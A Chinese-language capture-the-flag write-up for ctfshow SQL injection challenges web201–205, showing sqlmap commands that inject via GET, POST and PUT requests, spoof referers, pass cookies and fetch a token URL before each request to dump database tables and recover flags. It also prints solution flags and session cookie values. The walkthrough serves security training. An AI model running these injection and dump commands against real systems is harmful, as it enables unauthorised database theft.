ctfshow-web入门-sql注入(web201-web205)系统练习sqlmap的使用

目录

1、web201

2、web202

3、web203

4、web204

5、web205


开始系统练习sqlmap的使用

1、web201

随便提交一个看下它调用的接口和请求的参数有哪些

可以看到 URL 为:

复制代码
https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1&page=1&limit=10

(有些是需要加上一些其他参数的,比如有时候有 cookie 啥的,这里单独指定 id 也可以注)

题目有提到 使用--user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。

题目要求还需要使用--referer 绕过referer检查,referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址:

复制代码
https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php

使用 sqlmap 指定一下:--batch 是帮助我们在执行过程中自动选择,-u 指定 URL

复制代码
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php --batch

这里没有指定 ua 也可以,检测出来是 mysql 数据库

追加参数 --dbs 查一下数据库名:

复制代码
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php --dbs --batch

存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,--tables 指定查这个库下的所有表名:

表名为 ctfshow_user

使用 -T 参数指定这个表,--columns 查该表下所有的列名:

复制代码
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch

使用 -C 指定列,--dump 转存数据,查具体字段信息:

复制代码
python sqlmap.py -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

拿到 flag:ctfshow{fb24c339-de02-48cb-a5b4-087e87618c2a}

2、web202

上一题是 get 请求,这里使用 --data 指定参数进行 post 请求的注入:

复制代码
python sqlmap.py -u http://aea593d9-faea-4a69-aa90-ab3a274f0ac8.challenge.ctf.show/api/ --data id=1 --referer https://aea593d9-faea-4a69-aa90-ab3a274f0ac8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

顺便说一下,进行 post 注入的方法还可以先用 burpsuite 抓包,将请求包存为一个 txt 文件,再使用 -r 参数指定这个文件进行注入。

3、web203

使用--method 调整sqlmap的请求方式:

需要加上--headers="Content-Type: text/plain",否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,前两个没加可以,但这里不行,有点问题。

复制代码
python sqlmap.py -u http://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"

拿到 flag:ctfshow{fe7d4ddf-e446-4cf5-b4d5-fdee83f9b490}

4、web204

使用 --cookie 提交cookie数据

看一下 cookie 有哪些:

使用 --cookie 指定添加:

复制代码
python sqlmap.py -u http://74cb1048-e625-4fce-961b-04cc27c10f17.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74cb1048-e625-4fce-961b-04cc27c10f17.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=fd5d37jbd0f0cli08lgn33gg1o; ctfshow=c238470592a32aa4a322a6ce9ab247c0"

拿到 flag:ctfshow{ed58474e-afab-4003-8afe-19d01f05ebfe}

5、web205

api调用需要鉴权

发现在访问 index.php 前都会先访问 getToken.php

追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次:

复制代码
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

按照前面的字段名跑出来没有看到 flag

因此我们重新跑一下表名:

复制代码
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch

果然新增了一个叫 ctfshow_flax 的表,查一下该表下的列名:

复制代码
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns --batch

查具体字段信息:

复制代码
python sqlmap.py -u http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=bbuclhip78peleg9ki3mfp2493" --safe-url="http://9354f233-9d75-41a1-a377-42b94efd0985.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

拿到 flag:ctfshow{94a379a3-e0a3-46b4-8b61-c78b37499748}

相关推荐
陈天伟教授10 分钟前
人工智能应用- 预测新冠病毒传染性:04. 中国:强力措施遏制疫情
前端·人工智能·安全·xss·csrf
今儿敲了吗17 分钟前
python基础学习笔记第六章——函数进阶
笔记·python·学习
Leon-Ning Liu25 分钟前
Oracle UNDO表空间文件误删除故障恢复
数据库·oracle
2301_776508721 小时前
用Python生成艺术:分形与算法绘图
jvm·数据库·python
cxr8281 小时前
PaperclipAI 组织关系与智能体协作指南
数据库·人工智能·架构·ai智能体·openclaw
2501_918126911 小时前
学习所有6502写游戏动画的语句
汇编·嵌入式硬件·学习·程序人生·游戏
jxkejiiii1 小时前
巧用手机原生功能,零成本给重要文档加密防护
安全·智能手机
@insist1232 小时前
数据库系统工程师-Armstrong 公理系统:函数依赖推理与候选码求解核心方法论(重点)
数据库·软考·软件设计师·软件水平考试
-Springer-2 小时前
STM32 学习 —— 个人学习笔记9-3(FlyMcu 串口下载)
笔记·stm32·学习
Dola_Zou2 小时前
工业软件安全架构向模块化授权演进的解析
安全·自动化·安全架构·软件加密